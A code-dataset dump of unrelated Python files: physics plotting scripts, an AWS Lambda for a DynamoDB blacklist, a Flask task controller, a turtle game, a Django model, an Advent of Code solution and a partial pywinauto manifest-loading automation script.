import colors, ticker, cm\nfrom matplotlib.mlab import bivariate_normal\nfrom optparse import OptionParser\nimport os\nfrom mpl_toolkits.mplot3d import Axes3D\nimport random\nfrom mpl_toolkits import mplot3d\nfrom matplotlib import rc\n#plt.rcParams['mathtext.fontset'] = 'dejavuserif'\n#rc('font',**{'family':'sans-serif','sans-serif':['Helvetica']})\n## for Palatino and other serif fonts use:\n#rc('font',**{'family':'serif','serif':['Palatino']})\n\n#rc('text', usetex=True) #open this for latex\n######## Constant defined here ########\npi = 3.1415926535897932384626\nq0 = 1.602176565e-19 # C\nm0 = 9.10938291e-31 # kg\nv0 = 2.99792458e8 # m/s^2\nkb = 1.3806488e-23 # J/K\nmu0 = 4.0e-7*pi # N/A^2\nepsilon0 = 8.8541878176203899e-12 # F/m\nh_planck = 6.62606957e-34 # J s\nwavelength= 1.0e-6\nfrequency = v0*2*pi/wavelength\n\nexunit = m0*v0*frequency/q0\nbxunit = m0*frequency/q0\ndenunit = frequency**2*epsilon0*m0/q0**2\nprint('electric field unit: '+str(exunit))\nprint('magnetic field unit: '+str(bxunit))\nprint('density unit nc: '+str(denunit))\nfont = {'family' : 'monospace',\n 'color' : 'black',\n 'weight' : 'normal',\n 'size' : 25,\n }\n\nfont2 = {'family' : 'monospace',\n 'color' : 'black',\n 'weight' : 'normal',\n 'size' : 20,\n }\n\nfont_size =25\nfont_size2=20\n\n\nfrom_path = './spin_a70_n15_n5_fine_2/'\nto_path = './spin_a70_n15_n5_fine_2_fig/'\npart_name = 'ion_s'\npart_mass = 1836\nion_px=np.loadtxt(from_path+part_name+'_px.txt')\nion_py=np.loadtxt(from_path+part_name+'_py.txt')\nion_pz=np.loadtxt(from_path+part_name+'_pz.txt')\nion_xx=np.loadtxt(from_path+part_name+'_xx.txt')\nion_yy=np.loadtxt(from_path+part_name+'_yy.txt')\nion_zz=np.loadtxt(from_path+part_name+'_zz.txt')\nion_sx=np.loadtxt(from_path+part_name+'_sx.txt')*(part_mass*m0*v0)\nion_sy=np.loadtxt(from_path+part_name+'_sy.txt')*(part_mass*m0*v0)\nion_sz=np.loadtxt(from_path+part_name+'_sz.txt')*(part_mass*m0*v0)\nion_ww=np.loadtxt(from_path+part_name+'_ww.txt')\nion_ex=np.loadtxt(from_path+part_name+'_ex.txt')\nion_ey=np.loadtxt(from_path+part_name+'_ey.txt')\nion_ez=np.loadtxt(from_path+part_name+'_ez.txt')\nion_bx=np.loadtxt(from_path+part_name+'_bx.txt')\nion_by=np.loadtxt(from_path+part_name+'_by.txt')\nion_bz=np.loadtxt(from_path+part_name+'_bz.txt')\n\nion_tt=np.linspace(0.333333,75,225) \nion_pp=(ion_px**2+ion_py**2+ion_pz**2)**0.5\nion_ek=((ion_px**2+ion_py**2+ion_pz**2+1)**0.5-1)*918.0\nion_ss=(ion_sx**2+ion_sy**2+ion_sz**2)**0.5\n\n\nlwdth = 2\n#plt.subplot(3,3,1)\n#for n in range(np.size(ion_ww[:,0])): \n# plt.plot(ion_tt, ion_ek[n,:], linestyle='-',color='red',linewidth=lwdth)\n##n=10\n##plt.scatter(ion_tt, ion_ek[n,:], c=ion_ek[n,:], norm=colors.Normalize(vmin=0,vmax=150), s=25, cmap='magma', edgecolors='None', alpha=1,zorder=3)\n##n=47\n##plt.scatter(ion_tt, ion_ek[n,:], c=ion_ek[n,:], norm=colors.Normalize(vmin=0,vmax=150), s=25, cmap='magma', edgecolors='None', alpha=1,zorder=3)\n#plt.xlabel('$t\\ [\\mathrm{fs}]$',fontdict=font)\n#plt.ylabel(r'$\\varepsilon_i\\ [\\mathrm{MeV}]$',fontdict=font)\n#plt.xticks(fontsize=font_size); \n#plt.yticks(fontsize=font_size);\n#plt.xlim(20,70)\n#plt.ylim(-10,210)\n\nfor n in range(np.size(ion_ww[:,0])):\n plt.subplot(4,3,1)\n plt.plot(ion_tt, ion_sx[n,:], linestyle='-',color='red',linewidth=lwdth)\n plt.ylabel('$s_x$',fontdict=font)\n plt.xlabel('$t\\ [\\mathrm{fs}]$',fontdict=font)\n plt.xticks(fontsize=font_size); \n plt.yticks(fontsize=font_size);\n #plt.xlim(20,70)\n \n plt.subplot(4,3,2)\n plt.plot(ion_tt, ion_sy[n,:], linestyle='-',color='red',linewidth=lwdth)\n plt.ylabel('$s_y$',fontdict=font)\n plt.xlabel('$t\\ [\\mathrm{fs}]$',fontdict=font)\n plt.xticks(fontsize=font_size); \n plt.yticks(fontsize=font_size);\n #plt.xlim(20,70)\n \n plt.subplot(4,3,3)\n plt.plot(ion_tt, ion_sz[n,:], linestyle='-',color='red',linewidth=lwdth)\n plt.ylabel('$s_z$',fontdict=font)\n plt.xlabel('$t\\ [\\mathrm{fs}]$',fontdict=font)\n plt.xticks(fontsize=font_size); \n plt.yticks(fontsize=font_size);\n #plt.xlim(20,70)\n \n plt.subplot(4,3,4)\n dsx_dt = ion_sy*ion_bz-ion_sz*ion_by\n plt.plot(ion_tt, dsx_dt[n,:], linestyle='-',color='red',linewidth=lwdth)\n plt.ylabel(r'$ds_x/dt\\approx s_yB_z-s_zBy$',fontdict=font)\n plt.xlabel('$t\\ [\\mathrm{fs}]$',fontdict=font)\n plt.xticks(fontsize=font_size); \n plt.yticks(fontsize=font_size);\n #plt.xlim(20,70)\n \n plt.subplot(4,3,5)\n dsy_dt = ion_sz*ion_bx-ion_sx*ion_bz\n plt.plot(ion_tt, dsy_dt[n,:], linestyle='-',color='red',linewidth=lwdth)\n plt.ylabel(r'$ds_y/dt\\approx s_zB_x-s_xBz$',fontdict=font)\n plt.xlabel('$t\\ [\\mathrm{fs}]$',fontdict=font)\n plt.xticks(fontsize=font_size); \n plt.yticks(fontsize=font_size);\n #plt.xlim(20,70)\n \n plt.subplot(4,3,6)\n dsz_dt = ion_sx*ion_by-ion_sy*ion_bx\n plt.plot(ion_tt, dsz_dt[n,:], linestyle='-',color='red',linewidth=lwdth)\n plt.ylabel(r'$ds_z/dt\\approx s_xB_y-s_yBx$',fontdict=font)\n plt.xlabel('$t\\ [\\mathrm{fs}]$',fontdict=font)\n plt.xticks(fontsize=font_size); \n plt.yticks(fontsize=font_size);\n #plt.xlim(20,70)\n \n plt.subplot(4,3,7)\n plt.plot(ion_tt, ion_ex[n,:], linestyle='-',color='red',linewidth=lwdth)\n plt.xlabel('$t\\ [\\mathrm{fs}]$',fontdict=font)\n plt.ylabel('$E_x\\ [m_ec\\omega_0/|e|]$',fontdict=font)\n plt.xticks(fontsize=font_size); \n plt.yticks(fontsize=font_size);\n #plt.xlim(20,70)\n \n plt.subplot(4,3,8)\n plt.plot(ion_tt, ion_ey[n,:], linestyle='-',color='red',linewidth=lwdth)\n plt.xlabel('$t\\ [\\mathrm{fs}]$',fontdict=font)\n plt.ylabel('$E_y\\ [m_ec\\omega_0/|e|]$',fontdict=font)\n plt.xticks(fontsize=font_size); \n plt.yticks(fontsize=font_size);\n #plt.xlim(20,70)\n \n plt.subplot(4,3,9)\n plt.plot(ion_tt, ion_ez[n,:], linestyle='-',color='red',linewidth=lwdth)\n plt.xlabel('$t\\ [\\mathrm{fs}]$',fontdict=font)\n plt.ylabel('$E_z\\ [m_ec\\omega_0/|e|]$',fontdict=font)\n plt.xticks(fontsize=font_size); \n plt.yticks(fontsize=font_size);\n #plt.xlim(20,70)\n \n plt.subplot(4,3,10)\n plt.plot(ion_tt, ion_bx[n,:], linestyle='-',color='red',linewidth=lwdth)\n plt.xlabel('$t\\ [\\mathrm{fs}]$',fontdict=font)\n plt.ylabel('$B_x\\ [m_e\\omega_0/|e|]$',fontdict=font)\n plt.xticks(fontsize=font_size); \n plt.yticks(fontsize=font_size);\n #plt.xlim(20,70)\n \n plt.subplot(4,3,11)\n plt.plot(ion_tt, ion_by[n,:], linestyle='-',color='red',linewidth=lwdth)\n plt.xlabel('$t\\ [\\mathrm{fs}]$',fontdict=font)\n plt.ylabel('$B_y\\ [m_e\\omega_0/|e|]$',fontdict=font)\n plt.xticks(fontsize=font_size); \n plt.yticks(fontsize=font_size);\n #plt.xlim(20,70)\n \n plt.subplot(4,3,12)\n plt.plot(ion_tt, ion_bz[n,:], linestyle='-',color='red',linewidth=lwdth)\n plt.xlabel('$t\\ [\\mathrm{fs}]$',fontdict=font)\n plt.ylabel('$B_z\\ [m_e\\omega_0/|e|]$',fontdict=font)\n plt.xticks(fontsize=font_size); \n plt.yticks(fontsize=font_size);\n #plt.xlim(20,70)\n \n \n plt.subplots_adjust(left=0.1, bottom=0.12, right=0.98, top=0.98, wspace=0.24, hspace=0.2)\n fig = plt.gcf()\n fig.set_size_inches(18, 18)\n #plt.show()\n fig.savefig(to_path+'plot_spin_'+str(n).zfill(4)+'.png',format='png',dpi=160, transparent=None)\n plt.close(\"all\")\n print(to_path+'plot_spin_'+str(n).zfill(4)+'.png')\n","sub_path":"plot_spin_for.py","file_name":"plot_spin_for.py","file_ext":"py","file_size_in_byte":7541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"163480072","text":"import json\nimport boto3\n\ndynamodb = boto3.resource('dynamodb', region_name='us-east-1')\ntable = dynamodb.Table('Users')\nclient = boto3.client('dynamodb')\n\ndef lambda_handler(event, context):\n uid = event[\"queryStringParameters\"][\"uid\"]\n drink = event[\"queryStringParameters\"][\"drink\"]\n fixedList = []\n position = -1\n \n #As it's not possible to use DELETE on a List in DynamoDB(yet), I need to\n #get every blacklisted drink of the specified user to get the drink's position\n userInfo = client.get_item(Key={'Uid': { \"S\": uid } }, AttributesToGet=[\"Blacklisted\"], TableName='Users')\n blackListDrinks = userInfo.get(\"Item\").get(\"Blacklisted\").get(\"L\")\n for x in blackListDrinks:\n fixedList.append(x['S'])\n print(fixedList)\n if drink in fixedList:\n position = fixedList.index(drink)\n \n #If the drink exists on the list, REMOVE it using it's position\n if position != -1:\n response = table.update_item(\n Key={'Uid': uid},\n UpdateExpression=\"REMOVE Blacklisted[\"+ str(position) +\"]\",\n )\n print(position)\n \n return {\n 'statusCode': 200,\n 'headers': {\n \"Access-Control-Allow-Origin\": \"*\"\n },\n 'body': json.dumps(response)\n }\n","sub_path":"Peticiones HTTP (AWS Lambda)/deleteBoozerDrinkFromBlacklist.py","file_name":"deleteBoozerDrinkFromBlacklist.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"489961697","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Sep 17 12:35:00 2020\r\n\r\n@author: figonpiot\r\n\"\"\"\r\n\r\n# parametryzacja klasy figure\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfig = plt.figure(figsize=(5,5),facecolor=\"white\",edgecolor=\"blue\",linewidth=3)\r\nax = fig.add_axes([0,0,1,1])\r\nax.set_xscale(\"linear\")\r\nax.set_yscale('linear')\r\nax.set_adjustable(\"box\")\r\nax.set_alpha(\"none\")\r\nax.set_autoscale_on(True)\r\nax.set_snap(True)\r\nax.grid(True,color='y')\r\nax.set_xlabel('x',FontSize=12)\r\nax.set_ylabel('f(x)',FontSize=12)\r\nax.set_xlim([0,np.arange(0,100).max()])\r\nline1 = ax.plot(np.arange(0,100),np.sin(2*np.pi*1/50*np.arange(0,100))-\r\n 1/2*np.sin(2*np.pi*1/25.6*np.arange(0,100))+2,'*-r',scaley=True,scalex=True)\r\nline2 = ax.plot(np.arange(0,100),np.sin(2*np.pi*1/32.3*np.arange(0,100)-np.pi)-\r\n 0.1*np.sin(2*np.pi*1/10.1*np.arange(0,100))+2)\r\nax.legend(labels = ('plot1','plot2'))\r\nax.plot()\r\n\r\nfig1 = plt.figure","sub_path":"wykres_pltfigure_cechy.py","file_name":"wykres_pltfigure_cechy.py","file_ext":"py","file_size_in_byte":941,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"2491299","text":"'''\n리스트 내포 기능을 이용해 [12, 24, 35, 70, 88, 120, 155]에서\n\n첫번째, 다섯번째, 여섯번째 항목을 제거한 후 리스트를 출력하는 프로그램을 작성하십시오.\n'''\n\nsample_list = [12, 24, 35, 70, 88, 120, 155]\nexcept_list = [num for idx,num in enumerate(sample_list) if idx != 0 if idx != 4 if idx != 5 ]\n\nprint(except_list)","sub_path":"PYTHON/파이썬_프로그래밍_기초_문제풀이/12/12-21.py","file_name":"12-21.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"397632899","text":"from .models import User, Task\nfrom flask import jsonify\nfrom datetime import datetime\nfrom hashlib import sha256\n\ndef format_t(time):\n if (time != None):\n return (time.strftime(\"%Y-%m-%d %H:%M:%S\"))\n return (None)\n\ndef get_status(nb):\n status = \"not started\"\n if (nb == 1):\n status = \"in progress\"\n if (nb == 2):\n status = \"done\"\n return (status)\n\n\ndef register_user(session, request):\n try:\n user = User(request.form[\"username\"])\n if (\"ID\" in session):\n dest = {\"error\" : \"internal error\"}\n elif (user.add(request.form[\"password\"]) == False):\n dest = {\"error\" : \"account already exists\"}\n else:\n dest = {\"result\" : \"account created\"}\n except:\n dest = {\"error\" : \"internal error\"}\n return (dest)\n\ndef signin_user(session, request):\n try:\n user = User.get_by_name(request.form[\"username\"])\n if (\"ID\" in session):\n dest = {\"error\" : \"internal error\"}\n elif (user == None or\n str(sha256(str(request.form[\"password\"]).encode(\"utf-8\")).digest()) != user.password):\n dest = {\"error\" : \"login or password does not match\"}\n else:\n session[\"ID\"] = user.user_id\n dest = {\"result\" : \"signin successful\"}\n except:\n dest = {\"error\" : \"internal error\"}\n return (dest)\n\ndef signout_user(session):\n if (\"ID\" in session):\n session.pop(\"ID\", None)\n return ({\"result\" : \"signout successful\"})\n return (jsonify(None))\n\n\ndef get_user_infos(session):\n if (not \"ID\" in session):\n return ({\"error\" : \"you must be logged in\"})\n user = User.get_by_id(session[\"ID\"])\n if (user is None):\n return ({\"error\" : \"internal error\"})\n return ({\"result\" : {\"user_id\" : user.user_id, \"username\" : user.username}})\n\ndef get_user_task(session):\n if (not \"ID\" in session):\n return ({\"error\" : \"you must be logged in\"})\n dest = []\n for task in User.get_by_id(session[\"ID\"]).tasks:\n status = get_status(task.status)\n dest.append({task.task_id : {\"title\" : task.title, \"begin\" : format_t(task.begin), \"end\" : format_t(task.end), \"status\" : status}})\n return ({\"result\" : {\"tasks\" : dest}})\n\n\ndef modify_task(session, request, id):\n if (not \"ID\" in session):\n return ({\"error\" : \"you must be logged in\"})\n user = User.get_by_id(session[\"ID\"])\n task = Task.get_by_id(id)\n if (task == None):\n return ({\"error\" : \"task id does not exist\"})\n if (user.has_task(task.task_id) == False):\n return ({\"error\" : \"internal error\"})\n \n if (request.method == \"GET\"):\n return ({\"result\" : {\"title\" : task.title, \"begin\" : format_t(task.begin), \"end\" : format_t(task.end), \"status\" : get_status(task.status)}})\n try:\n task.update(request)\n dest = {\"result\" : \"update done\"}\n except:\n dest = {\"error\" : \"internal error\"}\n return (dest)\n\ndef new_task(session, request):\n try:\n if (not \"ID\" in session):\n dest = {\"error\" : \"you must be logged in\"}\n else:\n task = Task(request.form[\"title\"])\n task.add(session[\"ID\"], request)\n dest = {\"result\" : \"new task added\"}\n except:\n dest = {\"error\" : \"internal error\"}\n return (dest)\n\ndef rm_task(session, id):\n if (not \"ID\" in session):\n return ({\"error\" : \"you must be logged in\"})\n user = User.get_by_id(session[\"ID\"])\n task = Task.get_by_id(id)\n if (task == None):\n return ({\"error\" : \"task id does not exist\"})\n if (user.has_task(task.task_id) == False):\n return ({\"error\" : \"internal error\"})\n task.delete()\n return ({\"result\" : \"task deleted\"})","sub_path":"app/controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":3714,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"535916445","text":"import turtle\nimport random\nimport time\nfrom random import randint\nfrom random import seed\n\nfor _ in range(1):\n value = randint(-300, 300)\n\n\ndef fel():\n ypozicio = urhajo.ycor()\n ypozicio += 20\n urhajo.sety(ypozicio)\n\n\ndef le():\n ypozicio = urhajo.ycor()\n ypozicio -= 20\n urhajo.sety(ypozicio)\n\n\ndef jobbra():\n xpozicio = urhajo.xcor()\n xpozicio += 20\n urhajo.setx(xpozicio)\n\n\ndef balra():\n xpozicio = urhajo.xcor()\n xpozicio -= 20\n urhajo.setx(xpozicio)\n\n\nkijelzo = turtle.Turtle()\nkijelzo.hideturtle()\n\nspace = turtle.Screen()\nspace.setup(width=800, height=600)\nspace.bgpic(\"hatter.png\")\nspace.addshape(\"sprite.gif\")\nspace.addshape(\"meteor2.gif\")\nspace.addshape(\"meteor1.gif\")\nspace.tracer(0)\nspace.listen()\nspace.onkeypress(fel, \"Up\")\nspace.onkeypress(le, \"Down\")\nspace.onkeypress(balra, \"Left\")\nspace.onkeypress(jobbra, \"Right\")\n\nurhajo = turtle.Turtle()\nurhajo.shape(\"sprite.gif\")\nurhajo.penup()\n\nmeteor = turtle.Turtle()\nmeteor.penup()\nshapes = [\"meteor2.gif\",\"meteor1.gif\"]\nmeteor.shape(random.choice(shapes))\nmeteor.setx(400)\nmeteor.sety(random.randint(-270,270))\n\n\npontok = 0\nelet = 0\npen=turtle.Turtle()\npen.hideturtle()\n\n\nwhile True:\n\n space.update()\n time.sleep(0.1)\n\n if urhajo.ycor() > 300:\n urhajo.sety(-300)\n if urhajo.ycor() < -300:\n urhajo.sety(300)\n if urhajo.xcor() > 400:\n urhajo.setx(-400)\n if urhajo.xcor() < -400:\n urhajo.setx(400)\n\n if meteor.xcor() < -400 or meteor.ycor() < -300 or meteor.ycor() > 300:\n meteor.shape(random.choice(shapes))\n meteor.setx(400)\n meteor.sety(random.randint(-270,270))\n\n pontok += 1\n pen.clear()\n pen.color(\"white\")\n pen.penup()\n pen.goto(-320,260) \n pen.write(f\"Pontjaid: {pontok}\", align=\"center\", font=(\"Arial\", 20, \"bold\"))\n\n\n if urhajo.distance(meteor.xcor(), meteor.ycor()) < 70:\n meteor.shape(random.choice(shapes))\n meteor.setx(400)\n meteor.sety(random.randint(-270,270))\n \n elet += 1 \n pen.clear()\n pen.color(\"red\")\n pen.penup()\n pen.goto(0,260) \n pen.write(f\"Találat: {elet}\", align=\"center\", font=(\"Arial\",20,\"bold\"))\n\n\n\n if meteor.shape() == \"meteor2.gif\":\n meteor.setx(meteor.xcor()-15)\n elif meteor.shape() == \"meteor1.gif\":\n meteor.setx(meteor.xcor()-15)\n else:\n meteor.setx(meteor.xcor()+15)\n \n if elet == 3:\n space.clear() \n kijelzo.write(\"MEGHALTÁL!\", align=\"center\", font=(\"Arial\", 30, \"bold\"))","sub_path":"StarWars.py","file_name":"StarWars.py","file_ext":"py","file_size_in_byte":2609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"386687719","text":"from __future__ import unicode_literals\nfrom django.db import models\n\nfrom .especialidad import Especialidad\n\n\nclass Materia(models.Model):\n id_materia = models.AutoField(primary_key=True)\n # id_reticula se removio\n clave = models.CharField(max_length=128)\n semestre = models.IntegerField(default=0)\n nombre = models.CharField(max_length=128)\n creditos = models.IntegerField()\n horas_teoricas = models.IntegerField()\n horas_practicas = models.IntegerField()\n especialidad = models.ForeignKey(Especialidad, on_delete=models.CASCADE, default=0)\n previous = models.IntegerField(default=0) # guarda el id de la materia previa a esta\n next = models.IntegerField(default=0)\n\n def __str__(self):\n return '%s - %s' % (self.clave, self.nombre)\n","sub_path":"preinscripcion/home/models/materia.py","file_name":"materia.py","file_ext":"py","file_size_in_byte":779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"638100381","text":"class Cart:\n def __init__(self, x, y, direction):\n self.x = x\n self.y = y\n self.direction = direction\n self.next_intersection = 'L'\n self.active = True\n\n def update_next_intersection(self):\n if self.next_intersection == 'L':\n self.next_intersection = 'S'\n elif self.next_intersection == 'R':\n self.next_intersection = 'L'\n elif self.next_intersection == 'S':\n self.next_intersection = 'R'\n\ndef read_input():\n with open('../input/day13.txt') as f:\n lines = f.readlines()\n m = []\n carts = []\n j = 0\n path_segments = {'v': '|', '^': '|', '<': '-', '>': '-'}\n for line in lines:\n i = 0\n r = list(line.strip('\\n'))\n for k in range(len(r)):\n if r[k] in ['v', '^', '<', '>']:\n carts.append(Cart(i, j, r[k]))\n r[k] = path_segments[r[k]]\n i += 1\n m.append(r)\n j += 1\n return carts, m\n\ndef move_down(cart, next_loc):\n cart.y = cart.y+1\n if next_loc == '\\\\':\n cart.direction = '>'\n elif next_loc == '/':\n cart.direction = '<'\n elif next_loc == '+':\n if cart.next_intersection == 'L':\n cart.direction = '>'\n elif cart.next_intersection == 'R':\n cart.direction = '<'\n\ndef move_up(cart, next_loc):\n cart.y = cart.y-1\n if next_loc == '\\\\':\n cart.direction = '<'\n elif next_loc == '/':\n cart.direction = '>'\n elif next_loc == '+':\n if cart.next_intersection == 'L':\n cart.direction = '<'\n elif cart.next_intersection == 'R':\n cart.direction = '>'\n\ndef move_left(cart, next_loc):\n cart.x = cart.x-1\n if next_loc == '\\\\':\n cart.direction = '^'\n elif next_loc == '/':\n cart.direction = 'v'\n elif next_loc == '+':\n if cart.next_intersection == 'L':\n cart.direction = 'v'\n elif cart.next_intersection == 'R':\n cart.direction = '^'\n\ndef move_right(cart, next_loc):\n cart.x = cart.x+1\n if next_loc == '\\\\':\n cart.direction = 'v'\n elif next_loc == '/':\n cart.direction = '^'\n elif next_loc == '+':\n if cart.next_intersection == 'L':\n cart.direction = '^'\n elif cart.next_intersection == 'R':\n cart.direction = 'v'\n\ndef move(cart, m):\n if cart.direction == 'v':\n move_down(cart, m[cart.y+1][cart.x])\n elif cart.direction == '^':\n move_up(cart, m[cart.y-1][cart.x])\n elif cart.direction == '<':\n move_left(cart, m[cart.y][cart.x-1])\n elif cart.direction == '>':\n move_right(cart, m[cart.y][cart.x+1])\n if m[cart.y][cart.x] == '+':\n cart.update_next_intersection()\n\ndef count_active(carts):\n count = 0\n for c in carts:\n if c.active:\n count += 1\n return count\n\ncarts, m = read_input()\nactive_count = count_active(carts)\nwhile active_count > 1:\n for c in carts:\n if c.active:\n move(c, m)\n for c2 in carts:\n if c2.active and c2 != c and c2.x == c.x and c2.y == c.y:\n print('Crash in:',(c.x,c.y))\n c.active = False\n c2.active = False\n active_count = count_active(carts)\nfor c in carts:\n if c.active:\n print(c.x,',',c.y)","sub_path":"day13/day13.py","file_name":"day13.py","file_ext":"py","file_size_in_byte":3340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"78296893","text":"#coding=utf-8\n\nimport sys\nimport datetime\n\nfrom resource import Configuration\nfrom resource import Constant\nfrom resource import ExceptDeal\nfrom scrape.DataScrape import *\n\nfrom quotation.QuotationDB import *\nfrom quotation.QuotationRecord import *\n\nclass CoordinateDS2QDB():\n def __init__(self):\n self.week = (datetime.datetime.now()).strftime('%U')# 本周周数记录\n\n self.dtScrp = DataScrape() # 初始化数据抓取模块\n # Quotation record Handle\n self.recordHdl = QuotationRecord(Configuration.UPDATE_PERIOD_FLAG,\\\n Configuration.UPDATE_LOCK)\n # Quotation DB Handle\n self.dbQuotationHdl = QuotationDB(Configuration.UPDATE_PERIOD_FLAG,\\\n Configuration.UPDATE_LOCK,\\\n self.recordHdl.get_record_dict())\n\n def init_quotation(self):\n \"\"\" 外部接口API:行情数据库线程准备 \"\"\"\n # 创建记录字典\n self.recordHdl.create_record_dict()\n # 创建行情数据库文件\n self.dbQuotationHdl.create_period_db(Configuration.get_working_directory())\n\n # 以下是定时器回调函数:\n def work_DS2QDB_heartbeat(self):\n \"\"\" 快速定时器(心跳定时器)回调函数 : 数据抓取模块和行情数据库线程(缓冲字典)之间协同工作函数 \"\"\"\n # 全球市场结算期间不更新缓冲记录\n if Constant.is_closing_market():\n return\n if Constant.exit_on_weekend(self.week):\n sys.exit()\n\n # 数据抓取并筛选\n infoList = self.dtScrp.query_info()\n if len(infoList) != 0:\n self.recordHdl.update_dict_record(infoList)\n\n def work_DS2QDB_operate(self):\n \"\"\" 慢速定时器组回调函数 : 更新行情数据库 \"\"\"\n # 全球市场结算时间不更新数据库\n if Constant.is_closing_market():\n return\n if Constant.exit_on_weekend(self.week):\n sys.exit()\n\n self.dbQuotationHdl.update_period_db()\n","sub_path":"core/CoordinateDS2QDB.py","file_name":"CoordinateDS2QDB.py","file_ext":"py","file_size_in_byte":2074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"501790554","text":"import requests,sys,html,datetime,os,re,time,json,pywinauto,configparser,logging,threading,zipfile,shutil\r\nimport pyodbc \r\nfrom bs4 import BeautifulSoup\r\nfrom time import sleep\r\nfrom pywinauto.findwindows import find_window\r\nfrom pywinauto.application import Application\r\nfrom pywinauto.win32functions import SetForegroundWindow\r\nfrom pywinauto.win32functions import ShowWindow\r\nfrom dateutil.relativedelta import relativedelta\r\nfrom collections import OrderedDict\r\nfrom requests.auth import HTTPProxyAuth\r\n\r\n\r\n# Function to create, if not exists, a directory\r\ndef create_dir(file_path):\r\n directory = os.path.dirname(file_path)\r\n if not os.path.exists(directory):\r\n try:\r\n os.makedirs(directory)\r\n except:\r\n pass\r\n\r\n# Get all inputs on a filetype (xml,html,krt,kjb,etc)\r\ndef get_data(btfsoup):\r\n d=dict()\r\n params = list(btfsoup.find_all('input'))\r\n for x in params:\r\n if x.get('value') is None:\r\n d[x.get('name')]=''\r\n else:\r\n d[x.get('name')]=x.get('value')\r\n return d\r\n\r\n# Function to repair kilo error in a file\r\ndef remplace_kilo_error(txt):\r\n regex_kilo='^(((?!\\|).)*\\|){2}KILO'\r\n regex_peso=r'([0-9]+\\.[0-9]{2}\\|)'\r\n filter_kilo=re.compile(regex_kilo,re.MULTILINE|re.DOTALL)\r\n for i in filter_kilo.finditer(txt):\r\n normal=i.group(0)\r\n replaced=re.sub(regex_peso,r'\\1\\1',i.group(0))\r\n txt=txt.replace(normal,replaced)\r\n return txt\r\n\r\n# Change path type / per \\\r\ndef parse_path(path):\r\n return path.replace('/','\\\\')\r\n\r\n# If null return empty\r\ndef none(string):\r\n if string is None:\r\n return ''\r\n else:\r\n return string.strip()\r\n\r\n# Return all array as string\r\ndef data_as_string(data):\r\n result=''\r\n for i in data:\r\n result=result +' \"' + i + '\"'\r\n return result\r\n\r\n# run a load by APP DOTNET\r\ndef run(program,path):\r\n try:\r\n ok=False\r\n title_app='Carga de Manifiestos v1.4.1 - Análisis Marítimo'\r\n app = Application()\r\n app.start(parse_path(program))\r\n tmp_win=app.window_(title=title_app).Wait('visible',timeout=10,retry_interval=1)\r\n tmp_win.SetFocus()\r\n #SetForegroundWindow(tmp_win)\r\n app_dialog = app.top_window_()\r\n app_dialog.Minimize()\r\n app_dialog.Restore()\r\n SetForegroundWindow(find_window(title=title_app))\r\n win=app.window_(title=title_app)\r\n win.Button3.Click() # Button3 es Seleccionar Archivo(s) de Manifiestos\r\n\r\n app.window_(title=\"Abrir\",class_name=\"#32770\").Wait('visible',timeout=10,retry_interval=1)\r\n win_open=app.window_(title=\"Abrir\",class_name=\"#32770\")\r\n win_open.SetFocus()\r\n win_open.Edit.SetEditText(\"c:\")\r\n time.sleep(2)\r\n win_open.Abrir.Click()\r\n win_open.Edit.SetEditText(parse_path(path))\r\n time.sleep(2)\r\n win_open.Abrir.Click()\r\n win_open.ListView.Click()\r\n time.sleep(2)\r\n win_open.ListView.type_keys('^e')\r\n time.sleep(2)\r\n win_open.Abrir.Click()\r\n # Check Carga OK\r\n while not ok:\r\n try:\r\n app.window_(title_re=\".*\",class_name=\"#32770\").Wait('visible',timeout=10,retry_interval=1)\r\n win_ok=app.window_(title_re=\".*\",class_name=\"#32770\")\r\n logger.info(win_ok.Static2.Texts())\r\n if re.match('Base de datos ocupada por:',win_ok.Static2.Texts()[0]):\r\n win_ok.Aceptar.Click()\r\n win.Button.Click()\r\n app.window_(title_re=\".*\",class_name=\"#32770\").Wait('visible',timeout=50,retry_interval=1)\r\n win_sub_ok=app.window_(title_re=\".*\",class_name=\"#32770\")\r\n win_sub_ok.Aceptar.Click()\r\n win.Button3.Click() # Button3 es Seleccionar Archivo(s) de Manifiestos\r\n app.window_(title=\"Abrir\",class_name=\"#32770\").Wait('visible',timeout=10,retry_interval=1)\r\n win_open=app.window_(title=\"Abrir\",class_name=\"#32770\")\r\n win_open.SetFocus()\r\n win_open.Edit.SetEditText(\"c:\")\r\n time.sleep(2)\r\n win_open.Abrir.Click()\r\n win_open.Edit.SetEditText(parse_path(path))\r\n time.sleep(2)\r\n win_open.Abrir.Click()\r\n win_open.ListView.Click()\r\n time.sleep(2)\r\n win_open.ListView.type_keys('^e')\r\n time.sleep(2)\r\n win_open.Abrir.Click()\r\n continue\r\n elif win_ok.Static2.Texts()[0]==\"Carga completada\":\r\n #insert_log(('CARGA COMPLETADA','PYTHON','DESCARGA VALIDACION'))\r\n ok=True\r\n win_ok.Aceptar.Click()\r\n except (pywinauto.findwindows.WindowNotFoundError, pywinauto.timings.TimeoutError):\r\n pass \r\n win.Button4.Click()\r\n return \"CARGA COMPLETADA\"\r\n except Exception as e:\r\n logger.info(str(e))\r\n os.system(\"TASKKILL /F /IM CM_AduMaritima.exe\")\r\n raise e\r\n\r\n# Clean a TAG file a parse to JSON file\r\ndef clean(Html):\r\n soup=BeautifulSoup(Html, 'html.parser')\r\n index=0\r\n data=soup.findAll(\"table\")\r\n result=OrderedDict()\r\n last_conocimiento=''\r\n last_mercancia=''\r\n last_persona=''\r\n 